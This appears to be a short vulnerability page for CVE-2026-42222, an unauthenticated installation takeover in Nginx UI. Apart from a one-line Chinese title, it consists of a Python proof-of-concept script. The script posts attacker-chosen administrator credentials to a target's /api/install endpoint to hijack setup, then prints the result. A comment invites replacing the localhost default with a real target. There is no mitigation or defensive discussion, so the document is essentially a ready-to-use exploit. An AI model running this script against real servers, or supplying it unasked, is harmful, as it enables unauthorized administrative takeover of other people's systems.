CVE-2026-42222 Nginx UI未认证安装接管漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-42222: Unauthenticated Bootstrap Takeover This script attempts to hijack the installation process. """ install_endpoint = f"{target_url.rstrip('/')}/api/install" # Malicious payload to set admin credentials data = { "username": "hacker_admin", "password": "StrongHackerPass123!", "email": "[email protected]" } try: print(f"[*] Targeting: {install_endpoint}") response = requests.post(install_endpoint, json=data, timeout=10) if response.status_code == 200: print("[+] Successfully hijacked the installation!") print(f"[+] Admin Username: {data['username']}") print(f"[+] Admin Password: {data['password']}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit(target)